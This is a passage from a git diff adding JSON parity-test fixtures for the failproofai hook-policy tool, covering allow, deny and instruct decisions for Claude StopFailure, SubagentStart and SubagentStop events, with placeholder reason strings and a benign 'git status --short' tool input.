"parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"StopFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/StopFailure/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/StopFailure/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..4c96c7c4 --- /dev/null +++ b/__tests__/parity/fixtures/claude/StopFailure/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"StopFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/StopFailure/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/StopFailure/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..3767b56b --- /dev/null +++ b/__tests__/parity/fixtures/claude/StopFailure/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "StopFailure", + "input": { + "event_type": "StopFailure", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "StopFailure", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "StopFailure", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"StopFailure\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStart/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/SubagentStart/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..a66ba254 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStart/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStart/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/SubagentStart/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..9f85a53c --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStart/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStart/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/SubagentStart/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..7acc6077 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStart/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStart/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/SubagentStart/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..20d2824d --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStart/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStart/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/SubagentStart/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..831fe03d --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStart/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStart/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/SubagentStart/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..2cde42ee --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStart/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStart/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/SubagentStart/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..064ee118 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStart/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStart/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/SubagentStart/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..c304ce35 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStart/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "claude", + "decision_kind": "allow-with-reason", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStart/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/SubagentStart/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..e50c8934 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStart/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStart/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/SubagentStart/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..89cbbcaa --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStart/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStart/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/SubagentStart/deny__tool-present__one-policy.json new file mode 100644 index 00000000..de06bf78 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStart/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "claude", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStart/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/SubagentStart/deny__tool-present__two-policies.json new file mode 100644 index 00000000..0d32cb54 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStart/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "claude", + "decision_kind": "deny", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStart/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/SubagentStart/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..1454904f --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStart/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SubagentStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStart/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/claude/SubagentStart/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..1612a8f0 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStart/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SubagentStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStart/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/claude/SubagentStart/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..1303b3fb --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStart/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "claude", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SubagentStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStart/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/claude/SubagentStart/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..f947d3f4 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStart/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "claude", + "decision_kind": "instruct", + "event": "SubagentStart", + "input": { + "event_type": "SubagentStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "claude", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SubagentStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"SubagentStart\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/claude/SubagentStop/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/claude/SubagentStop/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..b537dad6 --- /dev/null +++ b/__tests__/parity/fixtures/claude/SubagentStop/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "claude", + "decision_kind": "allow-silent", + "event": "SubagentStop", + "input": { + "event_type": "SubagentStop", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SubagentStop", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": 